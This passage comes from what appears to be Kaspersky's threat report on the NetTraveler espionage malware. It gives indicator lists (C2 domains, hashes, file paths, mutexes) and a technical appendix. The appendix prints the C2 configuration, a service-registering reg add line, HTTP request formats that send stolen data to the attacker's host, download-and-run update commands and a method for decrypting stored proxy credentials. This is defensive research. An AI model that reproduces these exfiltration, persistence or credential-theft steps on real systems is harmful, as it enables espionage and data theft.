mitiGAtion inFormAtion gami1.com globalmailru.com hint09.9966.org imapupdate.com inwpvpn.com keyboardhk.com localgroupnet.com mailyandexru.com msnnewes.com newesyahoo.com newfax.net pkspring.net - sinkholed by Kaspersky lab ra1nru.com ramb1er.com sghrhd.190.20081.info southstock.net spit113.minidns.net tsgoogoo.net vip222idc.s169.288idc.com viplenta.com vipmailru.com viprainru.com viprambler.com vipyandex.com vpnwork.3322.org wolf0.3322.org wolf001.us109.eoidc.net yahooair.com yangdex.org - sinkholed by Kaspersky lab zeroicelee.com malware file names on disk: main active group(s) in 2013, unique configuration filenames: perf2012.
ini, config_t.dat, config_shenghai.dat, pert2012.ini, in: c:\documents and settings\[user]\ local settings\temp\ c:\users\[user]\local settings\temp\ c:\WindoWs\temp\ c:\WindoWs\system\ other (older) variants, configs: FmiFen.ini in: system malware body: net.exe, netmgr.exe, net mgr.dll in c:\ c:\WindoWs\system\ system temp c:\WindoWs\temp\ appdata\Adobe\ other (older) variants, malware bodies: system\bootuid.dll system\wuaucit.exe system\6to4ex.dll temp\Process.dll temp\Process.dll_d temp\cmss.exe temp\sysinfo2012.dll temp\winlogin.exe windir\system32\iasex.dll windir\system32\system_t.dll temp\smcs.exe appdata\Adobe\sysinfo2012.dll 22 The NeTTraveler Artifacts during installation and running: temp\Win32en.bat system\dnlist.ini temp\dnlist.ini appdata\Adobe\ie.log temp\ie.log system\enumfs.ini temp\enumfs.ini system\install.tmp system\kyrecord.txt c:\documents and settings\user\ start menu\Programs\startup\seru- vice.lnk c:\documents and settings\user\ start menu\Programs\startup\net- mgr.lnk c :\ d o c u m e1\u s e r1\ l o cAls1\temp\recycler_w\Allindex.
ini c :\ d o c u m e1\u s e r1\ l o cAls1\temp\recycler_w\Allindex.
ini_d mutexes created during backdoor operation: boat-12 is running dochunter2012 is running hunter-2012 is running nt-2012 is running nettravler is running nettravler2012 is running sh-2011 is running shenghai is running 5.2 malware names by KasPersKy Products detection names for the malware modules and related files: backdoor.
Win32.bifrose.bcx trojan-dropper.
Win32.dorifel.acrn trojan-dropper.
Win32.dorifel.acsj trojan-dropper.
Win32.dorifel.acsm trojan-dropper.
Win32.dorifel.acuf trojan-dropper.
Win32.dorifel.cql trojan-dropper.
Win32.dorifel.fhg trojan-dropper.
Win32.dorifel.fny trojan-dropper.
Win32.dorifel.iat trojan-dropper.
Win32.dorifel.jam trojan-dropper.
Win32.dorifel.kcy trojan-dropper.
Win32.dorifel.ylt trojan-spy.
Win32.travnet.
trojan.multi.yahg.a trojan.
Win32.Agent2.eakj trojan.
Win32.Agent2.exms trojan.
Win32.Agent2.ezgb trojan.
Win32.Agent2.fdhs trojan.
Win32.delf.dgmw trojan.
Win32.delf.dgmx trojan.
Win32.Genome.agyil trojan.
Win32.Genome.aiunu trojan.
Win32.Genome.ajeqr trojan.
Win32.Genome.akqco trojan.
Win32.Genome.aksho trojan.
Win32.Jorik.travnet.
not-a-virus:downloader.
Win32.nettrav eler.
23 5.
mitiGAtion inFormAtion Kaspersky detection names for malicious documents with embedded exploits used in spear-phishing attacks: exploit.msWord.cVe-2010-3333.cg exploit.msWord.cVe-2010-3333.ci exploit.msWord.cVe-2010-3333.cl exploit.
Win32.cVe-2012-0158.y exploit.msWord.cVe-2012-0158.an exploit.msWord.cVe-2012-0158.ax exploit.
Win32.cVe-2012-0158.aa 5.3 md5s of malicious files spear-phishing samples md5s: 36ed86602661bb3a7a55e69fde90ee73 6eb5932b0ed20f11f1a887bcfbdde10f 059a7482efee3b2abf67c12d210cb2f7 e5954b8204eb321d20bed4a86b3cef34 63494c74db9bfc2bba3983698c952de9 b600089a93275fa93558695b707b87ad f4f14d4a1e34f62eeb9a90b5c8b2cfc1 0e2b10015fe52b7ea77a213f0c330557 29a420e52b56bfadf9f0701318524bef malware modules: 01d06f85fce63444c3563fe3bd20c004 03e8d330abc77a6a9d635d2e7c0e213a 08e5352a2416bd32a1c07f2d6c2f11fa 13b3cb819b460591c27e133e93fb8661 19a0693480c82f2b7fc8659d8f91717a 1a70e1e36e6afa454f6457140ac3d2ec 1dcad7c8f56207b2c423353f0c328755 1f26e5f9b44c28b37b6cd13283838366 209c3b51cad30c85ca79a9f067ce04cd 22be9cca6e4ec3af327595b890a92fec 28e9faec9de3bbdeb65435bfc377d1f8 294da087e6329ae78c1a5fb42b999500 29a394a4ec8a30b5f36c7b874fc9fe10 2a43c23a17cd2bc9074a486c47444e7c 2ac8f77548e87b401767c7076adfa00d 2d0e4748d857c12184ed2c94c13ec1ae 2dc139d82a2a5bf027bcb6a40f75b3f4 33334d8dc36c4ee7739fe2f8b448da72 36f9a0e71f0b580333c61bfeaa88df39 37d588b289c65f10c256e43eba939a0a 382c1d692dd3cec9b046e5c0eeaf92e6 39c2b2ee24373bf1ef20faff958718bc 3b4cf5f1ff8c4187e41c6ab80f000491 3cb96fe79aa01c82ac68c54e88918e57 482f112cb7cb0293d99f8a7606acbe85 4968882f189236952fd38a11586b395a 4c8950da250ea135ee77a2644af414ba 524aed944b7f307eea5677eda7e2079a 54583ccc97c33e358510b563b1536e69 57f2374d9f2a787339b0c6a5b1008a72 5e35b31472a2e603a995198d8e8411ed 5e7c5e8d9f5864488ddf04b662d1ad8e 63f0f91e3ccf5dd00a455d3038a299f4 66684b8b82fb5318a41ab7e6abb8dd42 677f7c42f79a0a58760056529739fdd6 6afeec03c8f4bc78fa2b3ad27392b0e7 6d00e4f95fba02126b32bb74dc4fec55 6d49cdbade7541d46be3fb47a0f563bb 6de813a22b2b73e330085ec7c85e041b 24 The NeTTraveler 71f311a648348e7598eb55ab7618842c 723129912a2d0fb4aede7100071787ef 778c1764dd5c36c1eb96c49a8f8441e6 7b92e9d21bc4db838bc102b289f4fd5f 812d8e4d7a484bb363b139cfa08617e5 81591ae1c975b8a0b5ad5546a103992c 81d92e20f3078bd8e43b226308393e43 83429db9cc63196bf42c691cc09b7b84 852f562812305ad099372109f8e8b189 85865e048183849b255c92e609a5fa25 86cce64193a347b50329a32cdf08d198 89bfd463ca76b62c61a548778316567d 8ccea94fd83d9cb1b15a2a4befec24a2 8d3036a65ac2404d4562cdb927fd3d2c 8d78a9e3df1e19f9520f2bbb5f04cb54 8dc61b737990385473dca9bfc826727b 95113e04af14c23df607964fa9d83476 9b198f1e260700bdcb4740266cd35b3f 9c1c2825532b25e266d62db50952ab44 9c544da8c23826379d60581cce17a483 a0e350787e4134ea91ccb26d17cdf167 a1169fb2eb93616ced7536a53fb05648 a431d5786d9d95bc9d04df07cbefc0a2 a6d89df2a80675980fb3e4a9bcc162e2 a77456a160890a26a8f7c019c2e77021 aa6f8eff83aea3ff7b8f016e67f74dac af6649323daf6dbd3aef1b950588487c b3840ec1299517dacd6c18c71ff5bafc b8c99bc028a0a32288d858df7bf6bec1 b990752f8266d7648070bea7e24d326f ba026e6190aee2c64ef62a4e79419bcf bea6e3481c0a06ce36600d8b3cc6155b c87e8a3ceefd93c7e431b753801c6bb6 cb9cc50b18a7c91cf4a34c624b90db5d cebaaad59f1616698dec4f14d76b4c9a d04a7f30c83290b86cac8d762dcc2df5 d218706eb07f2722ae4e0106cce27d52 d286c4cdf40e2dae5362eff562bccd3a d2fe88fff648a0bcbfdf0f0bd042a0a4 d354b71116961cad955ed11cb938ca32 d687cfde1c4ea77de1b92ea2f9e90ad5 d80c29813bfbc3cbcbd469249d49ebf3 d9c0ca95e49b113c5751fffdb20beb3f d9cf41b5d11e42dabf9470964d09c000 db6e36f962fdb58c8e9f8f9a781fda66 dc01df3c40cb4fb0bef448693475ea1b def612ad0554006378f185d3b56efb57 e51a4cc0272a98e9eddfec16667603f4 e5b1ffd2ecd7e610d07d093d65639da9 eb5761c410b5139f23235e9b67964495 eefc66a1e978dc9d825f28702106d4d5 efa23860086c5d12d3e6b918073c717f f3c5c20f5c45fc401484caf72753d778 fad8f37c9bd5420f49cfd5960a60fa24 fb3495715764cdaa547f2b040c0a9b1f fc3853c2383e2fbb2af381fd1277504d fe16c30782e2b16b07d5a3a1cf9dfb8f ff04126a5d61a10c81bfd0a6d0a643d0 25 conclusions during our analysis, we describe nettraveler, a malicious data exfiltration tool used by a me- dium-sized threat actor group from china.
the main targets of the group include government institutions, embassies, oil and gas industry, research institutes, universities, private com- panies, military contractors and activists.
the groups domains of interest include space ex- ploration, nanotechnology, energy production, nuclear power, lasers, medicine and communi- cations between others.
Although not very advanced, the netttraveler attackers have successfully compromised hun- dreds of targets around the world, with the high- est number in mongolia, india and russia.
the group using nettraveler is also employing other malware, including Zegost, saker and oth- ers.
to compromise their victims, they rely on exploits for two popular vulnerabilities in mic- rosoft office.
based on collected intelligence, we estimate the group size to about 50 individuals, most of which speak chinese natively and has knowledge of english language.
by publishing this report we would like to raise awareness of all organizations and individuals who might become a victim of these attackers.
We would like to encourage people of all coun- tries to learn something from this report, check their systems and be prepared for potential fu- ture cyberattacks against them.
more information on attribution and victims will be available to selected parties, including lo- cal authorities of victim countries.
For details, please contact us at intelreportskaspersky.
com.
coNcluSioNS: 26 The NeTTraveler descriPtion the module is a Win32 Pe executable file com- piled in microsoft Visual c 6.0.
its main pur- pose is to drop a dll file and register it as a sys- tem service.
the malware looks up a suitable service name from one of the values in the reg- istry.
this module also drops an ini-type file with the configuration that is later used by the nettrav- eler backdoor.
technicAl detAils execution of the module starts with the creation of a system mutex object called instAll ser- Vices noW.
if this mutex already exists the module quits to avoid duplicate instances of the same module from running.
After that, the module creates the configura- tion file named Windir\system\config_t.dat which is populated with the strings embedded in the body of the executable and encrypted with simple one-byte xor (0x3e).
appeNDix a: malWare TechNical aNalySiS encrypted configuration data in the dropper the nettraveler droPPer mD5  2a43c23a17cd2bc9074a486c47444e7c create date (GmT)  2013.02.18 07:54:28 Size  176640 linker version  6.0 (msVc 6.0) 27 APPendix A: mAlWAre technicAl AnAlysis the config_t.dat is an ini-type file which contains the module configuration shown below: [Option] WebPagehXXp://vip222idc.s169.288idc.com/nt12/ newyork/city/nettraveler.asp2 DownCmdTime10 UploadRate128 [Other] UP0 [OtherTwo] AutoCheck1 the WebPage parameters maximum length is 128 bytes and represents a url for the com- mand and control server (cc).
downcmdtime is the delay in minutes between requests sent to the cc server.
the code of the function to dump the ini file is designed to process several cases.
there is 1 byte value for variable uP (which stands for use Proxy) from section [other].
if that value is set to 1 (absolute file offset 0x334) then the ini file section [other] will be populated with the following values: [Other] UP1 PSstring (max 32 bytes from offset 0x335) PPinteger (2 bytes and positive from offset 0x355) PUstring (max 32 bytes from offset 0x357) PWstring (max 32 bytes from offset 0x377) PFinteger (2 bytes and non-negative from offset 0x397) the purpose of Ps, PP, Pu, PW, PF parameters is the following: Ps  proxy server address PP  proxy server port Pu  proxy username PW  proxy password PF parameter purpose remains unclear.
the module then queries registry value at hklm\SofTWare\microsoft\Windows NT\\currentversion\Svchost\netsvcs which is a multi-string type of value.
then it iterates through the names of services in that value to find a special service name.
it must not be the 6to4 service and there must not be registry key hklm\SySTem\currentcontrolSet\Ser- vices\servicename.
on Windows xP services that match the de- scribed criterias are (eg.)
ias,iprip, irmon and a few others.
these names are different on other Windows os and even depend on installed features or service Packs.
the malware takes the first matching service name and uses it.
right after that, the malware attempts to delete WiNDir\system32\servicenameex.
dll and registers a new system service with the same name servicename.
the service is designed to be a Win32 shared process like svchost, autostarted by system service control manager during system boot.
that creates cor- responding system registry values in hklm\ SySTem\currentcontrolSet\Services\ser- vicename.
28 The NeTTraveler After that it saves to local directory and executes the following batch file (net.bat): echo off reg add hkey_local_machiNe\SyS- Tem\currentcontrolSet\Services\irmon\ parameters /v ServiceDll /t reG_expaND_ SZ /d c:\WiNDoWS\system32\servicen- ameex.dll note that servicename is replaced with the actual system service name that was previously found.
After that the module creates the c:\WiN- DoWS\system32\servicenameex.dll file on disk and sets hard-coded file creation and last access date and time to 20:00 17 august 2004.
the new file is then filled with data produced after decryption of the hard-coded data block.
nettraveler bacKdoor (droPPed file) mD5 3c0ea91ea42f2bf6686e 9735998e406e create date (GmT) 2013.02.18 02:33:49 Size 204800 linker version 6.0 (msVc 6.0) descriPtion the malware is Win32 Pe dll file compiled in mi- crosoft Visual c 6.0.
it has one export function servicemain which has the main functionality of the module.
this module has initial filename assigned during compilation: dll.dll.
technicAl detAils upon start the module sets corresponding ser- vice status to start_Pending and then imme- diately to running.
it checks if system mutex named NetTravler is running exists and terminates if that is true.
note: other known mutexes used by variants of nettraveler include: boat-12 is running dochunter2012 is running hunter-2012 is running nt-2012 is running nettravler is running nettravler2012 is running sh-2011 is running shenghai is running After that it opens WiNDir\system\con- fig_t.dat file and parses the following values: 29 APPendix A: mAlWAre technicAl AnAlysis Option] WebPage DownCmdTime UploadRate [OtherTwo] AutoCheck CheckedSuccess it creates a list of local paths in memory to work with later: sysdir\stat_t.ini sysdir\dnlist.ini sysdir\enumfs.ini sysdir\uenumfs.ini sysdir\udidx.ini temP\ntvba00.tmp\ if checkedSuccess value from ini file equals 0 or doesnt exist, the module will fetch additional con- figuration from the same ini file [other] section: pS (string with no default value, max 64 chars) pp (integer with default value: 80) pu (string with no default value, max 32 chars) pW (string with no default value, max 32 chars) pf (integer with default value: 10) next the module prepares some strings for test- ing the internet connection: modulename.log http://www.microsoft.com/info/privacy_se- curity.htm (testurl) ironically, the testurl is a microsoft web page about privacy, security and safety online (last updated in January 2000): 30 The NeTTraveler After that with the help of Wininet APi the mod- ule issues an httP Get request to testurl (see above) and the following hardcoded httP header values: accept: image/gif, image/x-xbitmap, image/ jpeg, image/pjpeg, application/x-shock- wave-flash, / accept-language: en-us proxy-connection: keep-alive pragma: no-cache user-agent: mozilla/4.0 (compatible mSie 6.0) it sets other options such as proxy server ad- dress and port (Ps and PP values from ini file or attempts to find proxy settings automatical- ly), proxy username and password (Pu and PW values from the ini file), several connection timeouts limited with 60 seconds.
the module submits the request and reads the response of the server.
the response is stored in newly allocated memory block.
After that the malware appends debug output to the log file named modulename.log.
the output messages are shown below: method currect: User: current user name ProxyIP:: ProxyBypass:: User: proxy username Pass: proxy password data from the URL /////////////////////////////////////////////// if the Ps, PP, Pu, PW parameters were not found the ini file or Autocheck value is set to 1, the module attempts to find local proxy settings ac- cording to the procedure below.
finding Proxy configuration First, the module lists contents of ProGrAm- Files directory and appends the listing to the log file.
then it opens ie history file of the current user (history.ie5\index.dat) parses it and appends the log with discovered logins/password saved in the the history file as a part of visited urls.
After that the module logs current version of internet explorer.
interestingly that the log file is appended with the following hard coded string: ie: internet explorer ,  means ver- sion in simplified chinese.
31 APPendix A: mAlWAre technicAl AnAlysis the module reads ie version from hKlm\soft- ware\microsoft\internet explorer\Version reg- istry value.
then it gets version of current os, and again appends the result to the log file with some hard coded strings in it: which means version of oper- ating system in simplified chinese.
the malware is capable of interpretation of sys- tem minor/major code and recognizing the fol- lowing o ses: microsoft Windows 95 microsoft Windows 95 osr microsoft Windows 98 microsoft Windows 98 se microsoft Windows millennium edition microsoft Windows nt microsoft Windows 2000 microsoft Windows xP microsoft Windows 2003 microsoft Windows Vista microsoft Windows 7 it can also recognize type of os: Professional, server, Advanced server and exact version and build numbers are also appended to the log file.
there were four different methods to find proxy configuration on the system according to the log file messages set in three functions.
one of the function (method 2) was probably merged with another one (method 3) in newer variant of the malware.
method 1: this is a straightforward attempt to connect to the test url, assuming that system-wide proxy settings are correct or no proxy is required to access the external website.
the url for testing is http://www.microsoft.com/info/privacy_ security.htm with the following header values: accept: image/gif, image/x-xbitmap, image/ jpeg, image/pjpeg, application/x-shock- wave-flash, / accept-language: en-us proxy-connection: keep-alive pragma: no-cache if the method succeeds the module appends received data from the url to the log file and corresponding parameter is set in the ini file (uP0).
if something fails the following message is ap- pended to the log file: method1 fail method 2 And method 3: this method is used when the infected machine uses proxy server but the settings are not avail- able for local system user.
A user working at 32 The NeTTraveler the infected machine might have internet ac- cess and should have the required proxy server settings.
the malware list all processes running on the machine and locates process named exPlor- er.exe.
this process is a system shell which is normally running after local user successfully authenticates and logs in to the system.
the malware finds explorer process and obtains se- curity token which is later used to temporarily impersonate as local user and get proxy con- figuration with internetQueryoptionA(0,inter- net_oPtion_Proxy,...) APi call.
if the result contains proxy settings the malware gets them.
if for some reason local proxy set- tings were not found in current user profile, the malware attempts to double-check and opens ie settings in the registry.
the following registry values are checked: hkcu\Software\microsoft\Windows\cur- rentversion\internet Settings\proxyenable hkcu\Software\microsoft\Windows\cur- rentversion\internet Settings\proxyServer hkcu\Software\microsoft\Windows\cur- rentversion\internet Settings\proxyover- ride After that the malware first obtains the ie stored credentials.
it iterates through all stored local user secrets via credenumerateA and looks for those which start with microsoft_Wininet_ and contain the address of the proxy server previ- ously obtained.
these secrets are decrypted with cryptunprotectdata APi call.
such call is possible only after impersonation as local user which is available for the malware running with local system privileges.
this method checks the first available password in the list of passwords from the system stored secrets.
once the potential server, port, login and pass- word are obtained the malware makes a test query to the same url: http://www.microsoft.
com/info/privacy_security.htm.
if it succeeds the content of this page is appended to the log file with all details about the proxy server.
if the method fails it prints the following line in the log file: method3 fail method 4: this method is identical to method 3 with just one difference: it checks the last available pass- word in the list of passwords from the system stored secrets.
method x (debuG): there is also an unused method in the code with no internal number, which was most likely used to debug the application as it writes all interme- diate results to the log file, starting from string 33 APPendix A: mAlWAre technicAl AnAlysis Get from ieoption or Get from reg de- pending on the path of code execution.
if the malware failed to locate the proxy server it unregisters current malicious service by deleting corresponding registry keys in hklm\System\ currentcontrolSet\servicename\ and at- tempts to delete all related files from the fol- lowing list: c:\Windows\system32\enumfs.ini c:\Windows\system32\uenumfs.ini c:\Windows\system32\udidx.ini c:\Windows\system32\dnlist.ini c:\Windows\system32\stat_t.ini otherwise, if the proxy was checked successful- ly the malware writes the following value to the config file (config_t.dat): [OtherTwo] CheckedSuccess1 After that the module sleeps for 60 seconds and starts a new thread (see below thread1), sleeps 10 more seconds and creates another thread (see below thread2).
right after that it enters an infinite loop of doing nothing but sleeping which can be interrupted by a special value in global variable set by other threads.
upon detecting this value the service routine ends which termi- nates the service execution.
threAd1 (commAnd And control threAd) this thread starts from collecting local system information, including the following: local computer name local iP address local user name os version, build and product type list of local disk drives with available space on them cPu characteristics including vendor identifier and frequency rAm status current process lists output of the ipconfig /all system command this information is stored in a text buffer with chinese comments like shown below (transla- tion is added in red): [] computer information : local hostname computer : local username user name ip: local iP Address : os service Pack (build num- ber) operating system : :Gb, Gb(.)
disk space: total disk space Gb, the remain- ing disk space Gb (.)
cPu: cPu type cPu FrequencymhZ : :mb,:mb ( .)
34 The NeTTraveler Physical memory: total physical memory: mb of available memory: mb (.)
[]
Process list 0 [system Process] 4 system 892 smss.exe 948 csrss.exe 972 winlogon.exe 1016 services.exe 1028 lsass.exe  cc communicAtion this information is saved in WiNDir\Sys tem32\system_t.dll text file.
this file is read a moment later, compressed using a custom lempel-Ziv-based algorithm, encoded with a modified base64 encoding and uploaded to the cc server using httP Get request of the fol- lowing format: GET /nt12/newyork/city/nettraveler.asp?host idDriveCSerialNumberhostnameHost namehostipHost IPfilenametravlerback info-Current date and time.dllfilestart0file textbegin::modified Base64 and LZ-compressed data::end Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, / Accept-Language: en-us Pragma: no-cache User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Win dows NT 5.0) Host: vip222idc.s169.288idc.com Connection: Keep-Alive if the file upload is successful, the module de- letes the system_t.dll file.
Please note that the serial number of current disk drive (most likely it is drive c) is used in httP query value hostid.
this identifier derived from the local filesystem is used later as a reliable identifier of current infected machine or simply botid.
the control looP After that it enters control loop.
every 10 minutes according to the downcmdtime parameter val- ue in the config file, it sends httP Get request of the following format: GET /nt12/new york /cit y/nettraveler.asp?ac tiongetcmdhostidDriveCSerialNumberhost nameHostname  if the server response starts with [cmdbegin] and ends with [cmdend] then the response is saved in c:\Windows\System32\stat_t.
ini file.
After that the code confirms receiving the command by submitting another httP Get request in the format below: GET /nt12/newyork/city/nettraveler.asp?action gotcmdhostidDriveCSerialNumberhostname Hostname  35 APPendix A: mAlWAre technicAl AnAlysis the module expects server to reply success.
if it doesnt the module will try again in 10 minutes.
if the server was notified and confirmed receiv- ing the notification, the module reads stat_t.
ini file which is just another config in ini format: [Download] dircountinteger, default 0 filecountinteger, default 0 f1string f2string f3string  d1string d2string d3string  [Scan] dircountinteger, default 0 filecountinteger, default 0 All values fnumber from stat_t.ini file are read and saved in WINDIR\System32\dnlist.ini file: [Filelist] f1string f2string f3string  All values dnumber from stat_t.ini file are read and the corresponding local directory and sub- directories listings are collected and appended to the dnlist.ini file in the format: [Filelist] f1string f2string f3string  the following values from stat_t.ini file are also transferred to the dnlist.ini file: section in stat_t.ini value in stat_t.ini  default  section in dnlist.ini value in dnlist.ini [scan]  dircount [scanlist]  dircount [scan]  scanAll False  [scanlist]  scanAll [other]  typelimit true  [other]  typelimit [other]  usearch true  [other]  usearch [other]  Gsearch true  [other]  Gsearch [other]  utypelimit true  [other]  utypelimit [other]  uAuto False  [other]  uAuto [other]  types doc, docx, xls, xlsx, txt, rtf, pdf  [other]  types 36 The NeTTraveler [other]  uP False  [other]  0 or 1 [other]  Ps [other]  Ps [other]  PP 80  [other]  PP [other]  Pu  [other]  Pu [other]  PW  [other]  PW [other]  PF  10  [other]  PF this is clearly the functionality which lets the attacker download specific files or even full di- rectories including all subdirectories contents basing on defined file search criterias, such as file extensions.
Filesystem scAn the malware has a file enumeration routine, which gets the settings from dnlist.ini (such as directory paths to process) and launches a re- cursive directory search.
the output is saved to enumfs.ini file in the following format: [Computer] NameLocal system name PageCurrent Windows ANSI code page (ACP) [Local system name] d1string d2string  dNstring dircountN [d1 string] f1string f2string  fMstring d1string d2string  dKstring dircountK filecountM [d2 string]  After execution, this log file contains directories with all filenames and subdirectories.
only di- rectory/file names are stored, with no addition- al data such as timestamps or size.
When the search is finished, the module saves current date to the dnlist.ini file and changes option scanAll, see format below.
this is done to avoid recurrent scanning of the filesystem, which is normally a heavy process and might be noticed by local user or an administrator.
[
EnumTime] DateTimeYYYY-MM-DD date [ScanList] ScanAllFalse 37 APPendix A: mAlWAre technicAl AnAlysis After scanning the local filesystem, enumfs.
ini file is uploaded to the server via httP Get request described above (see the submission process of stat_t.ini file in the beginning of cc communication part) with filename of the fol- lowing format: filelist-monthDay-hourminute Second.ini uPloAdinG Files the next stage of this thread uploads files inter- esting for the attacker to the cc server.
this process is described below.
the module works with files described in dnlist.
ini file.
it gets a list of file extensions that must be uploaded to the cc first.
there is a default list of extensions (value Types of section [oth- er]) that represent interest for the attackers: doc,docx,xls,xlsx,txt,rtf,pdf.
then it gets file- total values from [filelist] section of dnlist.ini and iterates through every fN value, where n is a positive integer starting from 1.
there are several tests applied to each file, be- fore it is uploaded to the server, including the following: File size must not be larger than 10mb (10485760 bytes).
File must have one of the extensions from the types option.
if the file matches the criterias, then a unique file state identifier for that file is created, which is an md5 hash of the following string: filename year-month-Day hour:minute:Second:millisec- onds.
the date and time values in the string before are obtained from the file last change time.
After that the module creates a name used for uploading the file to the server, which consists of the following: year-month-Day- hour-minute-file state identifier, the mD5.
the time and date values are also taken from the files last change time.
this file is up- loaded to the cc using the same procedure as used before for uploading other files.
After that, thread1 attempts to upload a file called uenumfs.ini, which is created by the thread2.
the remote filename is set to the following ufilel- ist-monthDay-hourminuteSec- ond.ini.
next, the thread iterates through Temp\ ntvba00.tmp\ directory and uploads every file located there.
the file names are preserved as they are.
control Procedure then, the thread issues a special httP Get re- quest to get next control instruction from the cc.
this is done by accessing the following uri: 38 The NeTTraveler hXXp://vip222idc.s169.288idc.com/nt12/newyork/ city/nettraveler.asp?actiongetdata (3) server response is converted to uppercase and analyzed.
there is defined set of responses ex- pected from the cc server: 01.
botid:uninstAll this command simply uninstalls the malicious service from the registry and deletes locally cre- ated files.
02.
botid:uPdAte this procedure starts from uninstalling current service, then it issues three httP Get requests to the cc script url: GET .../newyork/city/nettraveler.asp?actiondata- size to get the size of updated module that will be pushed with next request.
GET .../newyork/city/../updata.exe to get the up- dated module to be executed.
this module is instantly saved to Windir\install.exe and executed.
03.
botid:reset this procedure simply removes all temporary files, such as the following: sysdir\enumfs.ini sysdir\dnlist.ini sysdir\udidx.ini sysdir\uenumfs.ini sysdir\stat_t.ini 04.
botid:uPloAd this procedure is identical to the uPdAte com- mand described before with one difference - no uninstallation of the current module is done, only new executable is downloaded and started.
this method is probably used to execute additional independent malicious executable, unrelated to the original nettraveler malware.
or it can be used to infect with the nettraveler backdoor configured for some other cc server.
After processing any of the commands above the malware issues the following request to the server to confirm command execution: GET .../newyork/city/nettraveler.asp?actionupdat- edhostidBotId if the server hasnt issued the uninstAll com- mand the thread continues execution starting from the beginning of the control loop (see above).
39 APPendix A: mAlWAre technicAl AnAlysis threAd2 (driVe monitorinG threAd) this thread creates a hidden window with class name NTmainWndclass and processes win- dow messages in a loop until it is interrupted by special variable value.
the window procedure processes only one window message, Wm_De- vicechaNGe with wParam value set to DbT_ Devicearrival, which is sent by the system when a new removable device such as usb flash drive or network shared folder is attached to the system.
the module will proceed only if the attached removable device has provided a disk volume.
it is designed to have different procedures for removable disk drives from usb flash and net- work shares.
the usb drives will be processed only if GSearch value is set to true in [other] section of dnlist.
ini file.
similarly, a new network drive will be processed only if uSearch value is set to true in [other] section of dnlist.ini file.
both network and removable usb drives are processed in the same procedure, which reads the following values from dnlist.ini file: [Other] UTypeLimitboolean, default True UAutoboolean, default False if uAuto option is set to true, the thread creates Temp\ntvba00.tmp\ directory and opens uenumfs.ini file for writing.
the latter is filled with directories and subdirectories listings of the attached disk drive.
the format of the data in uenumfs.ini is almost identical to the one created during fixed drive filesystem scan (see Filesys- tem scan part in thread1 description above).
in addition to that, the same criterias are applied to each file (size and file extension) as in fixed drive filesystem scan.
Also, every file gets a state id calculated as md5 hash of the filename and timestamp of the last modification.
this hash is used to generate a new filepath in the follow- ing format: Temp\ntvba00.tmp\year- month-Day-hour-minute-file state id, mD5 hexadecimal string.original extension.
the source file from newly attached drive is then copied to the destination set by the generated file path.
Please note, that the file orig- inal extension is preserved, while the file name is changed.
that is used to prevent further problems when working with unsupported encoding.
At the same time when file is copied to ntvba00.
tmp directory, a record is added to udxidx.ini file, which has the following format: [Index] File state id, MD5 hexadecimal string1 this is done to avoid copying files that were al- ready copied before, unless they were changed by the user.
40 The NeTTraveler to avoid excessive use of the disk drive and oc- casional interest of the local user, the file copy- ing procedure has a delay.
every 1000 files the thread delays execution and sleeps for 9 sec- onds.
side notes useless text transformation in function which gets disk volume serial num- ber the actual serial number is converted from a decimal integer to a hexadecimal number stored as an Ascii string.
the integer is converted to a string with call to the sprintf function and 8x parameter which outputs 8 characters representing a number in hexadecimal form.
despite the fact that the output of this call is in uppercase, the author of the module converts the output to uppercase characters again.
this could be due to the fact that the author used to have 8x format string before, which made such conversion rational.
however, that clearly shows that the developer wasnt aware of vari- ous format strings options, which shows lack of experience in c/c development.
41 APPendix A: mAlWAre technicAl AnAlysis Drive monitoring disk processing issue As we mentioned above the drive monitoring thread uses the same function to process removable usb drives and network shares attached as local drives.
Visible separation of these two types of disk drives (in the name of the options Gsearch and usearch, where u probably stands for usb and G is for Glob- al, and in separate logical branches of code flow) is later misused, as the drive processing routines is bound to usb drives.
At least it read u-prefixed options from dnlist.ini file, which logically corresponds to the usb-type of disk drive, but used for both.
While this is a minor issue and probably didnt cause a serious problem for the attackers, this shows that the developer felt lazy at some point and used copy and Paste approach to avoid creating extra code.
it could also mean that one part of the code was created by one person and later modified by another, who mistakenly over- looked general code design.
Data decompression routine the malware uses a custom data compres- sion algorithm when uploading files to the cc server.
While the decompression is not required for the work of the application, the code for the decompression routine was also found in the malicious module.
this clearly indicates a design flaw and shows that the de- veloper didnt review the code on a binary level after it was compiled, which is common among beginners among malware authors and quite widespread among common software develop- ers.
saker (xbox) dropper and loader saKer (xbox) droPPer and loader mD5 c239af6aff1226fa2 b2bb77dfec865ce create date (GmT) 2013.03.13 12:39:21 Size 67072 vulnerability Targeted 6.0 (msVc 6.0) descriPtion the module is non-packed Win32 Pe executable file compiled in microsoft Visual c 6.0.
Al- though no encryption or compression is used to protect or hide parts of the code, simple obfus- cation is applied to internal strings.
the module main purpose is to install and embedded dll file or load it during system startup.
technicAl detAils execution of the main function starts with ob- taining local user startup directory.
this path is appended with \service.lnk.
42 The NeTTraveler the strings, which are used in the application are stored in simple obfuscated form.
For example, the Kaspersky lab is stored as K.sp4r6ky aa,.
the 1, 4, 6, 10 and 12 characters are re- placed with hardcoded character constants as shown below: then the module gets local temP folder path and constructs paths Temp\service.dll and Temp\service.exe.
After that the code checks if the current module file name is called service.exe.
if current module is not called service.exe, the module copies itself to tmP\service.
exe and creates corresponding lnK file in lo- cal users startup folder pointing to the freshly created executable.
the executable file is as- signed an attribute hidden and started in a new process.
then the module checks if Kasper- sky products are installed on local system by iterating through ProGrAmFiles directory and looking for kaspersky lab subdirectory.
if it finds Kaspersky products it quickly exits, if not it attempts to self-delete by running cmd.exe /c del moduleName and then exits.
if the module was already installed in the system and is called service.exe, it checks if system mu- tex object called SecuT already exists and exits if its true.
this is done to avoid multiple instances of the module from running simultaneously.
After that, the module creates a new file at Temp\service.dll and saves a part of own data to the new file.
the data offset is hardcoded as a string 46592.
next, it attempts to load the temP\service.
dll library file and call export function named JustTempfun.
After that the module enters an infinite sleep loop.
43 APPendix A: mAlWAre technicAl AnAlysis saKer (xbox) bacKdoor (droPPed file) mD5 6312bc2b156062 ba5358e7099a88bb95 create date (GmT)  2013.03.13 12:35:11 Size  46592 vulnerability Targeted  6.0 (msVc 6.0) descriPtion the module is a non-packed Win32 dll exe- cutable file compiled in microsoft Visual c 6.0.
Although no encryption or compression is used to protect or hide parts of the code, simple obfuscation is applied to internal strings.
